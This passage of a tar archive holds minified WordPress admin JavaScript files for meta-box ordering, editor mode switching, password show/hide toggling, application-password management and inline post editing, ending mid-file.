o.clone().find(":input").attr("name",function(e,o){return"sort_"+parseInt(1e5*Math.random(),10).toString()+"_"+o}).end()},opacity:.65,start:function(){l("body").addClass("is-dragging-metaboxes"),l(".meta-box-sortables").sortable("refreshPositions")},stop:function(){var e=l(this);l("body").removeClass("is-dragging-metaboxes"),e.find("#dashboard_browser_nag").is(":visible")&&"dashboard_browser_nag"!=this.firstChild.id?e.sortable("cancel"):(postboxes.updateOrderButtonsProperties(),postboxes.save_order(o))},receive:function(e,o){"dashboard_browser_nag"==o.item[0].id&&l(o.sender).sortable("cancel"),postboxes._mark_area(),a.trigger("postbox-moved",o.item)}}),s&&(l(document.body).on("orientationchange.postboxes",function(){postboxes._pb_change()}),this._pb_change()),this._mark_area(),this.updateOrderButtonsProperties(),a.on("postbox-toggled",this.updateOrderButtonsProperties),t.each(function(){var e=l(this);e.attr("aria-expanded",!e.closest(".postbox").hasClass("closed"))})},save_state:function(e){var o,s;"nav-menus"!==e&&(o=l(".postbox").filter(".closed").map(function(){return this.id}).get().join(","),s=l(".postbox").filter(":hidden").map(function(){return this.id}).get().join(","),l.post(ajaxurl,{action:"closed-postboxes",closed:o,hidden:s,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:e},function(){wp.a11y.speak(r("Screen Options updated."))}))},save_order:function(e){var o=l(".columns-prefs input:checked").val()||0,s={action:"meta-box-order",_ajax_nonce:l("#meta-box-order-nonce").val(),page_columns:o,page:e};l(".meta-box-sortables").each(function(){s["order["+this.id.split("-")[0]+"]"]=l(this).sortable("toArray").join(",")}),l.post(ajaxurl,s,function(e){e.success&&wp.a11y.speak(r("The boxes order has been saved."))})},_mark_area:function(){var o=l("div.postbox:visible").length,e=l("#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible"),s=!0;e.each(function(){var e=l(this);1==o||e.children(".postbox:visible").length?(e.removeClass("empty-container"),s=!1):e.addClass("empty-container")}),postboxes.updateEmptySortablesText(e,s)},updateEmptySortablesText:function(e,o){var s=l("#dashboard-widgets").length,t=r(o?"Add boxes from the Screen Options menu":"Drag boxes here");s&&e.each(function(){l(this).hasClass("empty-container")&&l(this).attr("data-emptyString",t)})},_pb_edit:function(e){var o=l(".metabox-holder").get(0);o&&(o.className=o.className.replace(/columns-\d+/,"columns-"+e)),l(document).trigger("postboxes-columnchange")},_pb_change:function(){var e=l('label.columns-prefs-1 input[type="radio"]');switch(window.orientation){case 90:case-90:e.length&&e.is(":checked")||this._pb_edit(2);break;case 0:case 180:l("#poststuff").length?this._pb_edit(1):e.length&&e.is(":checked")||this._pb_edit(2)}},pbshow:!1,pbhide:!1}}(jQuery); js/editor.min.js 0000644 00000031435 15233246127 0007601 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(g,u){u.editor=u.editor||{},window.switchEditors=new function(){var v,x,t={};function e(){!v&&window.tinymce&&(v=window.tinymce,(x=v.$)(document).on("click",function(e){e=x(e.target);e.hasClass("wp-switch-editor")&&n(e.attr("data-wp-editor-id"),e.hasClass("switch-tmce")?"tmce":"html")}))}function E(e){e=x(".mce-toolbar-grp",e.getContainer())[0],e=e&&e.clientHeight;return e&&10<e&&e<200?parseInt(e,10):30}function n(e,t){t=t||"toggle";var n,r,i,a,o,c,s,d,p,l,g,u=v.get(e=e||"content"),w=x("#wp-"+e+"-wrap"),f=w.find(".switch-tmce"),m=w.find(".switch-html"),h=x("#"+e),b=h[0];if("tmce"===(t="toggle"===t?u&&!u.isHidden()?"html":"tmce":t)||"tinymce"===t){if(u&&!u.isHidden())return!1;void 0!==window.QTags&&window.QTags.closeAllTags(e),n=parseInt(b.style.height,10)||0,(o=h)&&o.length&&(o=o[0],s=function(e,t){var n=t.cursorStart,t=t.cursorEnd,r=y(e,n);r&&(n=-1!==["area","base","br","col","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"].indexOf(r.tagType)?r.ltPos:r.gtPos);r=y(e,t);r&&(t=r.gtPos);r=S(e,n);r&&!r.showAsPlainText&&(n=r.urlAtStartOfContent?r.endIndex:r.startIndex);r=S(e,t);r&&!r.showAsPlainText&&(t=r.urlAtEndOfContent?r.startIndex:r.endIndex);return{cursorStart:n,cursorEnd:t}}(o.value,{cursorStart:o.selectionStart,cursorEnd:o.selectionEnd}),c=s.cursorStart,l=c!==(s=s.cursorEnd)?"range":"single",d=null,p=$(x,"").attr("data-mce-type","bookmark"),"range"==l&&(l=o.value.slice(c,s),g=p.clone().addClass("mce_SELRES_end"),d=[l,g[0].outerHTML].join("")),o.value=[o.value.slice(0,c),p.clone().addClass("mce_SELRES_start")[0].outerHTML,d,o.value.slice(s)].join("")),u?(u.show(),!v.Env.iOS&&n&&50<(n=n-E(u)+14)&&n<5e3&&u.theme.resizeTo(null,n),_(u)):v.init(window.tinyMCEPreInit.mceInit[e]),w.removeClass("html-active").addClass("tmce-active"),m.attr("aria-pressed",!1),f.attr("aria-pressed",!0),h.attr("aria-hidden",!0),window.setUserSetting("editor","tinymce")}else if("html"===t){if(u&&u.isHidden())return!1;u?(v.Env.iOS||(n=(l=u.iframeElement)?parseInt(l.style.height,10):0)&&50<(n=n+E(u)-14)&&n<5e3&&(b.style.height=n+"px"),g=null,g=function(e){var t,n,r,i,a,o,c,s=e.getWin().getSelection();if(s&&!(s.rangeCount<1))return c="SELRES_"+Math.random(),o=$(e.$,c),a=o.clone().addClass("mce_SELRES_start"),o=o.clone().addClass("mce_SELRES_end"),i=s.getRangeAt(0),t=i.startContainer,n=i.startOffset,r=i.cloneRange(),0<e.$(t).parents(".mce-offscreen-selection").length?(t=e.$("[data-mce-selected]")[0],a.attr("data-mce-object-selection","true"),o.attr("data-mce-object-selection","true"),e.$(t).before(a[0]),e.$(t).after(o[0])):(r.collapse(!1),r.insertNode(o[0]),r.setStart(t,n),r.collapse(!0),r.insertNode(a[0]),i.setStartAfter(a[0]),i.setEndBefore(o[0]),s.removeAllRanges(),s.addRange(i)),e.on("GetContent",k),t=R(e.getContent()),e.off("GetContent",k),a.remove(),o.remove(),n=new RegExp('<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*'+c+"[^<]*<\\/span>(\\s*)"),r=new RegExp('(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*'+c+"[^<]*<\\/span>"),s=t.match(n),i=t.match(r),s?(e=s.index,a=s[0].length,o=null,i&&(-1!==s[0].indexOf("data-mce-object-selection")&&(a-=s[1].length),c=i.index,-1!==i[0].indexOf("data-mce-object-selection")&&(c-=i[1].length),o=c-a),{start:e,end:o}):null}(u),u.hide(),g&&(c=u,p=g)&&(r=c.getElement(),i=p.start,a=p.end||p.start,r.focus)&&setTimeout(function(){r.setSelectionRange(i,a),r.blur&&r.blur(),r.focus()},100)):h.css({display:"",visibility:""}),w.removeClass("tmce-active").addClass("html-active"),m.attr("aria-pressed",!0),f.attr("aria-pressed",!1),h.attr("aria-hidden",!1),window.setUserSetting("editor","html")}}function y(e,t){var n,r=e.lastIndexOf("<",t-1);return(e.lastIndexOf(">",t)<r||">"===e.substr(t,1))&&(e=(t=e.substr(r)).match(/<\s*(\/)?(\w+|\!-{2}.*-{2})/))?(n=e[2],{ltPos:r,gtPos:r+t.indexOf(">")+1,tagType:n,isClosingTag:!!e[1]}):null}function S(e,t){for(var n=function(e){var t,n=function(e){var t=e.match(/\[+([\w_-])+/g),n=[];if(t)for(var r=0;r<t.length;r++){var i=t[r].replace(/^\[+/g,"");-1===n.indexOf(i)&&n.push(i)}return n}(e);if(0===n.length)return[];var r,i=u.shortcode.regexp(n.join("|")),a=[];for(;r=i.exec(e);){var o="["===r[1];t={shortcodeName:r[2],showAsPlainText:o,startIndex:r.index,endIndex:r.index+r[0].length,length:r[0].length},a.push(t)}var c=new RegExp('(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^s"]+?)(<\\/p>s*|[\\n\\r][\\n\\r]|$)',"gi");for(;r=c.exec(e);)t={shortcodeName:"url",showAsPlainText:!1,startIndex:r.index,endIndex:r.index+r[0].length,length:r[0].length,urlAtStartOfContent:""===r[1],urlAtEndOfContent:""===r[3]},a.push(t);return a}(e),r=0;r<n.length;r++){var i=n[r];if(t>=i.startIndex&&t<=i.endIndex)return i}}function $(e,t){return e("<span>").css({display:"inline-block",width:0,overflow:"hidden","line-height":0}).html(t||"")}function _(e){var t,n=e.$(".mce_SELRES_start").attr("data-mce-bogus",1),r=e.$(".mce_SELRES_end").attr("data-mce-bogus",1),i=(n.length&&(e.focus(),r.length?((i=e.getDoc().createRange()).setStartAfter(n[0]),i.setEndBefore(r[0]),e.selection.setRng(i)):e.selection.select(n[0])),e),a=n,a=i.$(a).offset().top,o=i.$(i.getContentAreaContainer()).offset().top,c=E(i),s=g("#wp-content-editor-tools"),d=0,p=0;s.length&&(d=s.height(),p=s.offset().top),s=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,(o+=a)<(s-=d+c)||(c=i.settings.wp_autoresize_on?(t=g("html,body"),Math.max(o-s/2,p-d)):(t=g(i.contentDocument).find("html,body"),a),t.animate({scrollTop:parseInt(c,10)},100)),l(n),l(r),e.save()}function l(e){var t=e.parent();e.remove(),!t.is("p")||t.children().length||t.text()||t.remove()}function k(e){e.content=e.content.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p> </p>")}function R(e){var t="blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure",n=t+"|div|p",t=t+"|pre",r=!1,i=!1,a=[];return e?(-1!==(e=-1===e.indexOf("<script")&&-1===e.indexOf("<style")?e:e.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,function(e){return a.push(e),"<wp-preserve>"})).indexOf("<pre")&&(r=!0,e=e.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g,function(e){return(e=(e=e.replace(/<br ?\/?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/\r?\n/g,"<wp-line-break>")})),-1!==e.indexOf("[caption")&&(i=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>").replace(/[\r\n\t]+/,"")})),e=(e=(e=(e=(e=-1!==(e=-1!==(e=-1!==(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace(new RegExp("\\s*</("+n+")>\\s*","g"),"</$1>\n")).replace(new RegExp("\\s*<((?:"+n+")(?: [^>]*)?)>","g"),"\n<$1>")).replace(/(<p [^>]+>.*?)<\/p>/g,"$1</p#>")).replace(/<div( [^>]*)?>\s*<p>/gi,"<div$1>\n\n")).replace(/\s*<p>/gi,"")).replace(/\s*<\/p>\s*/gi,"\n\n")).replace(/\n[\s\u00a0]+\n/g,"\n\n")).replace(/(\s*)<br ?\/?>\s*/gi,function(e,t){return t&&-1!==t.indexOf("\n")?"\n\n":"\n"})).replace(/\s*<div/g,"\n<div")).replace(/<\/div>\s*/g,"</div>\n")).replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi,"\n\n[caption$1[/caption]\n\n")).replace(/caption\]\n\n+\[caption/g,"caption]\n\n[caption")).replace(new RegExp("\\s*<((?:"+t+")(?: [^>]*)?)\\s*>","g"),"\n<$1>")).replace(new RegExp("\\s*</("+t+")>\\s*","g"),"</$1>\n")).replace(/<((li|dt|dd)[^>]*)>/g," \t<$1>")).indexOf("<option")?(e=e.replace(/\s*<option/g,"\n<option")).replace(/\s*<\/select>/g,"\n</select>"):e).indexOf("<hr")?e.replace(/\s*<hr( [^>]*)?>\s*/g,"\n\n<hr$1>\n\n"):e).indexOf("<object")?e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/[\r\n]+/g,"")}):e).replace(/<\/p#>/g,"</p>\n")).replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g,"\n$1")).replace(/^\s+/,"")).replace(/[\s\u00a0]+$/,""),r&&(e=e.replace(/<wp-line-break>/g,"\n")),i&&(e=e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>")),a.length?e.replace(/<wp-preserve>/g,function(){return a.shift()}):e):""}function r(e){var t=!1,n=!1,r="table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary";return-1===(e=(e=-1!==(e=e.replace(/\r\n|\r/g,"\n")).indexOf("<object")?e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/\n+/g,"")}):e).replace(/<[^<>]+>/g,function(e){return e.replace(/[\n\t ]+/g," ")})).indexOf("<pre")&&-1===e.indexOf("<script")||(t=!0,e=e.replace(/<(pre|script)[^>]*>[\s\S]*?<\/\1>/g,function(e){return e.replace(/\n/g,"<wp-line-break>")})),-1!==(e=-1!==e.indexOf("<figcaption")?(e=e.replace(/\s*(<figcaption[^>]*>)/g,"$1")).replace(/<\/figcaption>\s*/g,"</figcaption>"):e).indexOf("[caption")&&(n=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return(e=(e=e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>")).replace(/<[^<>]+>/g,function(e){return e.replace(/[\n\t ]+/," ")})).replace(/\s*\n\s*/g,"<wp-temp-br />")})),e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e+="\n\n").replace(/<br \/>\s*<br \/>/gi,"\n\n")).replace(new RegExp("(<(?:"+r+")(?: [^>]*)?>)","gi"),"\n\n$1")).replace(new RegExp("(</(?:"+r+")>)","gi"),"$1\n\n")).replace(/<hr( [^>]*)?>/gi,"<hr$1>\n\n")).replace(/\s*<option/gi,"<option")).replace(/<\/option>\s*/gi,"</option>")).replace(/\n\s*\n+/g,"\n\n")).replace(/([\s\S]+?)\n\n/g,"<p>$1</p>\n")).replace(/<p>\s*?<\/p>/gi,"")).replace(new RegExp("<p>\\s*(</?(?:"+r+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/<p>(<li.+?)<\/p>/gi,"$1")).replace(/<p>\s*<blockquote([^>]*)>/gi,"<blockquote$1><p>")).replace(/<\/blockquote>\s*<\/p>/gi,"</p></blockquote>")).replace(new RegExp("<p>\\s*(</?(?:"+r+")(?: [^>]*)?>)","gi"),"$1")).replace(new RegExp("(</?(?:"+r+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/(<br[^>]*>)\s*\n/gi,"$1")).replace(/\s*\n/g,"<br />\n")).replace(new RegExp("(</?(?:"+r+")[^>]*>)\\s*<br />","gi"),"$1")).replace(/<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi,"$1")).replace(/(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi,"[caption$1[/caption]")).replace(/(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g,function(e,t,n){return n.match(/<p( [^>]*)?>/)?e:t+"<p>"+n+"</p>"}),t&&(e=e.replace(/<wp-line-break>/g,"\n")),e=n?e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>"):e}function i(e){e={o:t,data:e,unfiltered:e};return g&&g("body").trigger("beforePreWpautop",[e]),e.data=R(e.data),g&&g("body").trigger("afterPreWpautop",[e]),e.data}function a(e){e={o:t,data:e,unfiltered:e};return g&&g("body").trigger("beforeWpautop",[e]),e.data=r(e.data),g&&g("body").trigger("afterWpautop",[e]),e.data}return g(document).on("tinymce-editor-init.keep-scroll-position",function(e,t){t.$(".mce_SELRES_start").length&&_(t)}),g?g(e):document.addEventListener?(document.addEventListener("DOMContentLoaded",e,!1),window.addEventListener("load",e,!1)):window.attachEvent&&(window.attachEvent("onload",e),document.attachEvent("onreadystatechange",function(){"complete"===document.readyState&&e()})),u.editor.autop=a,u.editor.removep=i,t={go:n,wpautop:a,pre_wpautop:i,_wp_Autop:r,_wp_Nop:R}},u.editor.initialize=function(e,t){var n,r,i,a,o,c,s,d,p;g&&e&&u.editor.getDefaultSettings&&(p=u.editor.getDefaultSettings(),(t=t||{tinymce:!0}).tinymce&&t.quicktags&&(r=g("#"+e),i=g("<div>").attr({class:"wp-core-ui wp-editor-wrap tmce-active",id:"wp-"+e+"-wrap"}),a=g('<div class="wp-editor-container">'),o=g("<button>").attr({type:"button","data-wp-editor-id":e}),c=g('<div class="wp-editor-tools">'),t.mediaButtons&&(s="Add Media",window._wpMediaViewsL10n&&window._wpMediaViewsL10n.addMedia&&(s=window._wpMediaViewsL10n.addMedia),(d=g('<button type="button" class="button insert-media add_media">')).append('<span class="wp-media-buttons-icon" aria-hidden="true"></span>'),d.append(document.createTextNode(" "+s)),d.data("editor",e),c.append(g('<div class="wp-media-buttons">').append(d))),i.append(c.append(g('<div class="wp-editor-tabs">').append(o.clone().attr({id:e+"-tmce",class:"wp-switch-editor switch-tmce"}).text(window.tinymce.translate("Visual"))).append(o.attr({id:e+"-html",class:"wp-switch-editor switch-html"}).text(window.tinymce.translate("Code|tab")))).append(a)),r.after(i),a.append(r)),window.tinymce&&t.tinymce&&("object"!=typeof t.tinymce&&(t.tinymce={}),(n=g.extend({},p.tinymce,t.tinymce)).selector="#"+e,g(document).trigger("wp-before-tinymce-init",n),window.tinymce.init(n),window.wpActiveEditor||(window.wpActiveEditor=e)),window.quicktags)&&t.quicktags&&("object"!=typeof t.quicktags&&(t.quicktags={}),(n=g.extend({},p.quicktags,t.quicktags)).id=e,g(document).trigger("wp-before-quicktags-init",n),window.quicktags(n),window.wpActiveEditor||(window.wpActiveEditor=n.id))},u.editor.remove=function(e){var t,n=g("#wp-"+e+"-wrap");window.tinymce&&(t=window.tinymce.get(e))&&(t.isHidden()||t.save(),t.remove()),window.quicktags&&(t=window.QTags.getInstance(e))&&t.remove(),n.length&&(n.after(g("#"+e)),n.remove())},u.editor.getContent=function(e){var t;if(g&&e)return window.tinymce&&(t=window.tinymce.get(e))&&!t.isHidden()&&t.save(),g("#"+e).val()}}(window.jQuery,window.wp); js/password-toggle.min.js 0000644 00000001517 15233246127 0011432 0 ustar 00 /*! This file is auto-generated */ !function(){var t,e,s,i,a=wp.i18n.__;function d(){t=this.getAttribute("data-toggle"),e=this.parentElement.children.namedItem("pwd"),s=this.getElementsByClassName("dashicons")[0],i=this.getElementsByClassName("text")[0],0===parseInt(t,10)?(this.setAttribute("data-toggle",1),this.setAttribute("aria-label",a("Hide password")),e.setAttribute("type","text"),i.innerHTML=a("Hide"),s.classList.remove("dashicons-visibility"),s.classList.add("dashicons-hidden")):(this.setAttribute("data-toggle",0),this.setAttribute("aria-label",a("Show password")),e.setAttribute("type","password"),i.innerHTML=a("Show"),s.classList.remove("dashicons-hidden"),s.classList.add("dashicons-visibility"))}document.querySelectorAll(".pwd-toggle").forEach(function(t){t.classList.remove("hide-if-no-js"),t.addEventListener("click",d)})}(); js/application-passwords.min.js 0000644 00000005720 15233246127 0012637 0 ustar 00 /*! This file is auto-generated */ !function(o){var a=o("#application-passwords-section"),i=a.find(".create-application-password"),t=i.find(".input"),n=i.find(".button"),p=a.find(".application-passwords-list-table-wrapper"),r=a.find("tbody"),d=r.find(".no-items"),e=o("#revoke-all-application-passwords"),l=wp.template("new-application-password"),c=wp.template("application-password-row"),u=o("#user_id").val();function w(e,s,a){f(a=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:a,"error")}function f(e,s){s=o("<div></div>").attr("role","alert").attr("tabindex","-1").addClass("is-dismissible notice notice-"+s).append(o("<p></p>").text(e)).append(o("<button></button>").attr("type","button").addClass("notice-dismiss").append(o("<span></span>").addClass("screen-reader-text").text(wp.i18n.__("Dismiss this notice."))));return i.after(s),s}function v(){o(".notice",a).remove()}n.on("click",function(e){var s;e.preventDefault(),n.prop("aria-disabled")||(0===(e=t.val()).length?t.trigger("focus"):(v(),n.prop("aria-disabled",!0).addClass("disabled"),s={name:e},s=wp.hooks.applyFilters("wp_application_passwords_new_password_request",s,u),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords?_locale=user",method:"POST",data:s}).always(function(){n.removeProp("aria-disabled").removeClass("disabled")}).done(function(e){t.val(""),n.prop("disabled",!1),i.after(l({name:e.name,password:e.password})),o(".new-application-password-notice").attr("tabindex","-1").trigger("focus"),r.prepend(c(e)),p.show(),d.remove(),wp.hooks.doAction("wp_application_passwords_created_password",e,s)}).fail(w)))}),r.on("click",".delete",function(e){var s,a;e.preventDefault(),window.confirm(wp.i18n.__("Are you sure you want to revoke this password? This action cannot be undone."))&&(s=o(this),e=(a=s.closest("tr")).data("uuid"),v(),s.prop("disabled",!0),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords/"+e+"?_locale=user",method:"DELETE"}).always(function(){s.prop("disabled",!1)}).done(function(e){e.deleted&&(0===a.siblings().length&&p.hide(),a.remove(),f(wp.i18n.__("Application password revoked."),"success").trigger("focus"))}).fail(w))}),e.on("click",function(e){var s;e.preventDefault(),window.confirm(wp.i18n.__("Are you sure you want to revoke all passwords? This action cannot be undone."))&&(s=o(this),v(),s.prop("disabled",!0),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords?_locale=user",method:"DELETE"}).always(function(){s.prop("disabled",!1)}).done(function(e){e.deleted&&(r.children().remove(),a.children(".new-application-password").remove(),p.hide(),f(wp.i18n.__("All application passwords revoked."),"success").trigger("focus"))}).fail(w))}),a.on("click",".notice-dismiss",function(e){e.preventDefault();var s=o(this).parent();s.removeAttr("role"),s.fadeTo(100,0,function(){s.slideUp(100,function(){s.remove(),t.trigger("focus")})})}),t.on("keypress",function(e){13===e.which&&(e.preventDefault(),n.trigger("click"))}),0===r.children("tr").not(d).length&&p.hide()}(jQuery); js/inline-edit-post.min.js 0000644 00000022615 15233246127 0011477 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(u,h){window.inlineEditPost={init:function(){var i=this,t=u("#inline-edit"),e=u("#bulk-edit"),t=(i.type=u("table.widefat").hasClass("pages")?"page":"post",i.what="#post-",t.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),e.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),u(".cancel",t).on("click",function(){return inlineEditPost.revert()}),u(".save",t).on("click",function(){return inlineEditPost.save(this)}),u("td",t).on("keydown",function(t){if(13===t.which&&!u(t.target).hasClass("cancel"))return inlineEditPost.save(this)}),u(".cancel",e).on("click",function(){return inlineEditPost.revert()}),u('#inline-edit .inline-edit-private input[value="private"]').on("click",function(){var t=u("input.inline-edit-password-input");u(this).prop("checked")?t.val("").prop("disabled",!0):t.prop("disabled",!1)}),u("#the-list").on("click",".editinline",function(){u(this).attr("aria-expanded","true"),inlineEditPost.edit(this)}),u("#inline-edit fieldset.inline-edit-categories").clone());t.find("*[id]").each(function(){this.id="bulk-edit-"+this.id}),u("#bulk-edit").find("fieldset:first").after(t).siblings("fieldset:last").prepend(u("#inline-edit .inline-edit-tags-wrap").clone()),u('select[name="_status"] option[value="future"]',e).remove(),u("#doaction").on("click",function(t){var e;u('#posts-filter .check-column input[type="checkbox"]:checked').length<1||(i.whichBulkButtonId=u(this).attr("id"),e=i.whichBulkButtonId.substr(2),"edit"===u('select[name="'+e+'"]').val()?(t.preventDefault(),i.setBulk()):0<u("form#posts-filter tr.inline-editor").length&&i.revert())})},toggle:function(t){var e=this;"none"===u(e.what+e.getId(t)).css("display")?e.revert():e.edit(t)},setBulk:function(){var n="",t=this.type,a=!0,e=u('tbody th.check-column input[type="checkbox"]:checked'),i={};if(this.revert(),u("#bulk-edit td").attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("table.widefat tbody").prepend(u("#bulk-edit")).prepend('<tr class="hidden"></tr>'),u("#bulk-edit").addClass("inline-editor").show(),u('tbody th.check-column input[type="checkbox"]').each(function(){var t,e,i;u(this).prop("checked")&&(a=!1,t=u(this).val(),e=u("#inline_"+t+" .post_title").html()||h.i18n.__("(no title)"),i=h.i18n.sprintf(h.i18n.__("Remove “%s” from Bulk Edit"),e),n+='<li class="ntdelitem"><button type="button" id="_'+t+'" class="button-link ntdelbutton"><span class="screen-reader-text">'+i+'</span></button><span class="ntdeltitle" aria-hidden="true">'+e+"</span></li>")}),a)return this.revert();u("#bulk-titles").html('<ul id="bulk-titles-list" role="list">'+n+"</ul>"),e.each(function(){var t=u(this).val();u("#category_"+t).text().split(",").map(function(t){i[t]||(i[t]=0),i[t]++})}),u('.inline-edit-categories input[name="post_category[]"]').each(function(){var t;i[u(this).val()]==e.length?u(this).prop("checked",!0):0<i[u(this).val()]&&(u(this).prop("indeterminate",!0),u(this).parent().find('input[name="indeterminate_post_category[]"]').length||(t=u(this).parent().text(),u(this).after('<input type="hidden" name="indeterminate_post_category[]" value="'+u(this).val()+'">').attr("aria-label",t.trim()+": "+h.i18n.__("Some selected posts have this category"))))}),u('.inline-edit-categories input[name="post_category[]"]:indeterminate').on("change",function(){u(this).removeAttr("aria-label").parent().find('input[name="indeterminate_post_category[]"]').remove()}),u(".inline-edit-save button").on("click",function(){u('.inline-edit-categories input[name="post_category[]"]').prop("indeterminate",!1)}),u("#bulk-titles .ntdelbutton").click(function(){var t=u(this),e=t.attr("id").substr(1),i=t.parent().prev().children(".ntdelbutton"),t=t.parent().next().children(".ntdelbutton");u("input#cb-select-all-1, input#cb-select-all-2").prop("checked",!1),u('table.widefat input[value="'+e+'"]').prop("checked",!1),u("#_"+e).parent().remove(),h.a11y.speak(h.i18n.__("Item removed."),"assertive"),t.length?t.focus():i.length?i.focus():(u("#bulk-titles-list").remove(),inlineEditPost.revert(),h.a11y.speak(h.i18n.__("All selected items have been removed. Select new items to use Bulk Actions.")))}),"post"===t&&u("tr.inline-editor textarea[data-wp-taxonomy]").each(function(t,e){u(e).autocomplete("instance")||u(e).wpTagsSuggest()}),u("#bulk-edit .inline-edit-wrapper").attr("tabindex","-1").focus(),u("html, body").animate({scrollTop:0},"fast")},edit:function(n){var t,a,e,i,s,r,o,l,d=this,c=!0;for(d.revert(),"object"==typeof n&&(n=d.getId(n)),t=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password","post_format","menu_order","page_template"],"page"===d.type&&t.push("post_parent"),a=u("#inline-edit").clone(!0),u("td",a).attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("td",a).find("#quick-edit-legend").removeAttr("id"),u("td",a).find('p[id^="quick-edit-"]').removeAttr("id"),u(d.what+n).removeClass("is-expanded").hide().after(a).after('<tr class="hidden"></tr>'),e=u("#inline_"+n),u(':input[name="post_author"] option[value="'+u(".post_author",e).text()+'"]',a).val()||u(':input[name="post_author"]',a).prepend('<option value="'+u(".post_author",e).text()+'">'+u("#post-"+n+" .author").text()+"</option>"),1===u(':input[name="post_author"] option',a).length&&u("label.inline-edit-author",a).hide(),o=0;o<t.length;o++)(l=u("."+t[o],e)).find("img").replaceWith(function(){return this.alt}),l=l.text(),u(':input[name="'+t[o]+'"]',a).val(l);"open"===u(".comment_status",e).text()&&u('input[name="comment_status"]',a).prop("checked",!0),"open"===u(".ping_status",e).text()&&u('input[name="ping_status"]',a).prop("checked",!0),"sticky"===u(".sticky",e).text()&&u('input[name="sticky"]',a).prop("checked",!0),u(".post_category",e).each(function(){var t,e=u(this).text();e&&(t=u(this).attr("id").replace("_"+n,""),u("ul."+t+"-checklist :checkbox",a).val(e.split(",")))}),u(".tags_input",e).each(function(){var t=u(this),e=u(this).attr("id").replace("_"+n,""),e=u("textarea.tax_input_"+e,a),i=h.i18n._x(",","tag delimiter").trim();e.length&&(t.find("img").replaceWith(function(){return this.alt}),(t=t.text())&&(","!==i&&(t=t.replace(/,/g,i)),e.val(t)),e.wpTagsSuggest())});var p,d=u(':input[name="aa"]').val()+"-"+u(':input[name="mm"]').val()+"-"+u(':input[name="jj"]').val(),d=(d+=" "+u(':input[name="hh"]').val()+":"+u(':input[name="mn"]').val()+":"+u(':input[name="ss"]').val(),new Date(d));if(("future"!==(p=u("._status",e).text())&&Date.now()>d?u('select[name="_status"] option[value="future"]',a):u('select[name="_status"] option[value="publish"]',a)).remove(),d=u(".inline-edit-password-input").prop("disabled",!1),"private"===p&&(u('input[name="keep_private"]',a).prop("checked",!0),d.val("").prop("disabled",!0)),0<(i=u('select[name="post_parent"] option[value="'+n+'"]',a)).length){for(s=i[0].className.split("-")[1],r=i;c&&0!==(r=r.next("option")).length;)r[0].className.split("-")[1]<=s?c=!1:(r.remove(),r=i);i.remove()}return u(a).attr("id","edit-"+n).addClass("inline-editor").show(),u(".ptitle",a).trigger("focus"),!1},save:function(n){var t=u(".post_status_page").val()||"";return"object"==typeof n&&(n=this.getId(n)),u("table.widefat .spinner").addClass("is-active"),t={action:"inline-save",post_type:typenow,post_ID:n,edit_date:"true",post_status:t},t=u("#edit-"+n).find(":input").serialize()+"&"+u.param(t),u.post(ajaxurl,t,function(t){var e=u("#edit-"+n+" .inline-edit-save .notice-error"),i=e.find(".error");u("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(u(inlineEditPost.what+n).siblings("tr.hidden").addBack().remove(),u("#edit-"+n).before(t).remove(),u(inlineEditPost.what+n).hide().fadeIn(400,function(){u(this).find(".editinline").attr("aria-expanded","false").trigger("focus"),h.a11y.speak(h.i18n.__("Changes saved."))})):(t=t.replace(/<.[^<>]*?>/g,""),e.removeClass("hidden"),i.html(t),h.a11y.speak(i.text())):(e.removeClass("hidden"),i.text(h.i18n.__("Error while saving the 